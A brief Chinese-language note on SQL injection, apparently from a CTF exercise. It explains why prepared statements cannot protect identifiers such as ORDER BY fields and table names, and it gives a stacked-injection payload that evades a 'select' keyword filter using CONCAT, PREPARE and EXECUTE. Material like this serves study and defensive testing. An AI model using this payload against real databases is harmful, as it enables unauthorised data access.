怎么突破预编译
凡是字符串但又不能加引号的位置都不能参数化
原因:
预编译只有自动加引号的setString()方法,没有不加引号的方法
而order by后面接的字段名不能有引号
- order by
- sql关键字
- 库名
- 表名
- 字段名
- 函数名
- ……………………….
预编译利用
预编译相关语法如下:
set用于设置变量名和值prepare用于预备一个语句,并赋予名称,以后可以引用该语句execute执行语句deallocate prepare用来释放掉预处理的语句
比如目标过滤了select
select * from `1919810931114514`;-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#拆分开来如下-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#



